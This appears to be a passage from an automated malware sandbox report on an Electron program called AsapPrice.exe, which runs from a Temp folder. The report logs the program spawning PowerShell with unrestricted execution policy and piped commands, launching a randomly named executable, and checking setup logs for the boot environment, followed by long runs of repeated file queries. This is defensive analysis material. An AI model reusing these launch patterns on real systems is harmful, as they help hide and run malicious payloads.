Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -NoProfile -NoLogo -InputFormat Text -NoExit -ExecutionPolicy Unrestricted -Command -Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /d /s /c "C:\Users\user\AppData\Local\Temp\y0zoGtu4DzqpR6nMAU.exe"Jump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\chcp.com chcpJump to behavior
Source: C:\Windows\System32\cmd.exeProcess created: C:\Windows\System32\findstr.exe findstr /C:"Detected boot environment" "C:\Windows\Panther\setupact.log"Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "c:\users\user\appdata\local\temp\2pr9ov1fsvk4woi9dzeqbzxbsro\asapprice.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\rklxrvvcdpfnpeoc" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1880 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "c:\users\user\appdata\local\temp\2pr9ov1fsvk4woi9dzeqbzxbsro\asapprice.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\rklxrvvcdpfnpeoc" --mojo-platform-channel-handle=2196 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "c:\users\user\appdata\local\temp\2pr9ov1fsvk4woi9dzeqbzxbsro\asapprice.exe" --type=gpu-process --user-data-dir="c:\users\user\appdata\roaming\rklxrvvcdpfnpeoc" --gpu-preferences=uaaaaaaaaadgaaayaaaaaaaaaaaaaaaaaabgaaaaaaawaaaaaaaaaaaaaaaqaaaaaaaaaaaaaaaaaaaaaaaaabgaaaaaaaaagaaaaaaaaaaiaaaaaaaaaagaaaaaaaaacaaaaaaaaaa= --mojo-platform-channel-handle=1880 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:2Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeProcess created: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exe "c:\users\user\appdata\local\temp\2pr9ov1fsvk4woi9dzeqbzxbsro\asapprice.exe" --type=utility --utility-sub-type=network.mojom.networkservice --lang=en-gb --service-sandbox-type=none --user-data-dir="c:\users\user\appdata\roaming\rklxrvvcdpfnpeoc" --mojo-platform-channel-handle=2196 --field-trial-handle=1892,i,4662631263647050238,13789248790840168328,131072 --disable-features=sparerendererforsiteperprocess,winretrievesuggestionsonlyondemand /prefetch:8Jump to behavior
Source: AsapPrice.exe, 00000003.00000000.1676780335.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmp, AsapPrice.exe, 00000009.00000000.1713692465.00007FF7A435D000.00000002.00000001.01000000.00000008.sdmpBinary or memory string: ..\..\electron\shell\browser\ui\views\electron_views_delegate_win.ccGetAppbarAutohideEdgesShell_TrayWnd
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeQueries volume information: C:\Users VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeQueries volume information: C:\Users\user VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeQueries volume information: C:\Users\user\AppData VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeQueries volume information: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeQueries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformationJump to behavior
Source: C:\Users\user\AppData\Local\Temp\2pr9Ov1fsVK4wOi9DzEqbZxbsrO\AsapPrice.exeQueries volume information: C:\Windows\System32\spool\drivers\color\sRGB Color Space Profile.icm VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.dll VolumeInformationJump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.Management.Infrastructure.CimCmdlets\v4.0_1.0.0.0__31bf3856ad364e35\Microsoft.Management.Infrastructure.CimCmdlets.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Program Files\WindowsPowerShell\Modules\PSReadline\2.0.0\Microsoft.PowerShell.PSReadline.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation
